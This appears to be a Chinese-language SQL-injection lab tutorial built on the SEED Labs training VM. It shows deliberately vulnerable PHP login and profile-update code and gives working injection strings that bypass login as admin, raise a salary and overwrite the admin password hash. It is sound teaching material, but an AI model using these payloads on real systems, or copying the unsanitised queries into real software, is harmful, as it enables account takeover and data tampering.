長衫大佬可以坐下來,聽聽我

(tree)

(new)

(bee):

基本SQL語法

select

語句用於從表中選取資料

select 列名 from 表名

update

語句用於修改表中的資料

update 表名 set 列名 2= 值2 where 列名1 = 值1

通俗的說 什麼是SQL注入呢?

就是使用者輸入的時候 輸入SQL語句 更改後臺SQL語句的預定的執行命令

實驗環境準備

什麼是SQL注入攻擊?

SEED Ubuntu12

虛擬機器中安裝

SQL

注入實驗網站

$ tar -zxvf 。/patch。tar。gz

$

cd

patch

$ chmod a+x bootstrap。sh

$ 。/bootstrap。sh

關閉

PHP SQL

注入攻擊保護機制

/etc/php5/apache2/php。ini

檔案中

修改

magic quotes gpc = On

Off

啟動

Apache

服務(

sudo service apache2 start

在另一臺Linux主機上配置

DNS

(在

/etc/hosts

檔案新增)

192。168。59。156 www。seedlabsqlinjection。com

ok!現在你可以成功訪問了 透過命令列登入並檢視資料庫資訊如下

$ mysql -u root -pseedubuntu

mysql> use Users

mysql> show tables

+————————-+

|

Tables_in_Users

|

+————————-+

|

credential

|

+————————-+

mysql>

select

* from credential

+——+————-+————-+————+————-+——————+——————-+————-+————-+——————+——————————————————————+

|

ID

|

Name

|

EID

|

Salary

|

birth

|

SSN

|

PhoneNumber

|

Address

|

Email

|

NickName

|

Password

|

+——+————-+————-+————+————-+——————+——————-+————-+————-+——————+——————————————————————+

|

1

|

Alice

|

10000

|

20000

|

9/20

|

10211002

|

|

|

|

|

fdbe918bdae83000aa54747fc95fe0470fff4976

|

|

2

|

Boby

|

20000

|

30000

|

4/20

|

10213352

|

|

|

|

|

b78ed97677c161c1c82c142906674ad15242b2d4

|

|

3

|

Ryan

|

30000

|

50000

|

4/10

|

98993524

|

|

|

|

|

a3c50276cb120637cca669eb38fb9928b017e9ef

|

|

4

|

Samy

|

40000

|

90000

|

1/11

|

32193525

|

|

|

|

|

995b8b8c183f349b3cab0ae7fccd39133508d2af

|

|

5

|

Ted

|

50000

|

110000

|

11/3

|

32111111

|

|

|

|

|

99343bff28a7bb51cb6f22cb20a618701a2c2f58

|

|

6

|

Admin

|

99999

|

400000

|

3/5

|

43254314

|

|

|

|

|

a5bdf35a1df4ea895905f6f6618e83951a6effc0

|

+——+————-+————-+————+————-+——————+——————-+————-+————-+——————+——————————————————————+

網站原始基本資訊如下:

User Employee ID Password Salary Birthday SSN Nickname Email Address Phone#

Admin

99999

seedadmin

400000

3/5

43254314

Alice

10000

seedalice

20000

9/20

10211002

Boby

20000

seedboby

50000

4/20

10213352

Ryan

30000

seedryan

90000

4/10

32193525

Samy

40000

seedsamy

40000

1/11

32111111

Ted

50000

seedted

110000

11/3

24343244

1.SQL注入:如何越權直接變身成admin ?

下面是網站登入模組的程式碼 找找漏洞?

$conn

=

getDB

();

$sql

=

“SELECT id, name, eid, salary, birth, ssn,

phonenumber, address, email, nickname, Password

FROM credential

WHERE eid= ‘

$input_eid

’ and password=‘

$input_pwd

’”

$result

=

$conn

->

query

$sql

))

// The following is psuedo code

if

name

==

‘admin’

){

return

All

employees

information

}

else

if

name

!=

NULL

){

return

employee

information

}

else

{

authentication

fails

}

漏洞:

“WHERE eid= ‘$input_eid’ and password=‘$input_pwd’”

攻擊串:

‘ or Name=’admin‘;#

成功登入如下

什麼是SQL注入攻擊?

2.SQL注入:如何修改salary 搖身一變變大款 ?

網站提供了一個頁面 讓使用者修改自己的

暱稱 郵件 地址 電話 密碼

什麼是SQL注入攻擊?

更新個人資訊的程式碼是這樣寫的 如何才能修改自己的

salary

金錢呢?

$conn = getDB();

$sql = “UPDATE credential SET nickname=’$nickname‘,

email=’$email‘,

address=’$address‘,

phonenumber=’$phonenumber‘,

Password=’$pwd‘

WHERE id= ’$input_id‘ ”;

$conn->query($sql))

咱們在命令列檢視資料庫的時候 是不是看到了Salary資訊

漏洞:

$sql = “UPDATE credential SET nickname=’$nickname‘,。。。

攻擊串:

’,salary=‘9999999’ where Name=‘Alice’#

瞬間讓

Alice

同學成為最富有的人

什麼是SQL注入攻擊?

3.SQL注入:如何修改password 讓admin無路可走 ?

root@gt:/home#

echo

-n

”seedadmin“

|

openssl sha1

stdin

)=

a5bdf35a1df4ea895905f6f6618e83951a6effc0

root@gt:/home#

echo

-n

”hackbiji。top“

|

openssl sha1

stdin

)=

a504e9efce2d451b08c285b2dfd2e7f8b241ba03

root@gt:/home#

攻擊串:

‘,Password=’a504e9efce2d451b08c285b2dfd2e7f8b241ba03‘ where Name=’Admin‘#

現在

Admin

登入不上自己的帳號了 可憐的站長

什麼是SQL注入攻擊?

彩蛋:

駭客筆記 網路安全往事三部曲第15次課 到此已經結束 感謝大家的支援

Live結束 將提供一個為期一年的網站 供學員自由

hack

希望讀者聽眾堅持理想

網站IP地址:

見Live末尾

有效期:

2018。9。1 - 2019。8。31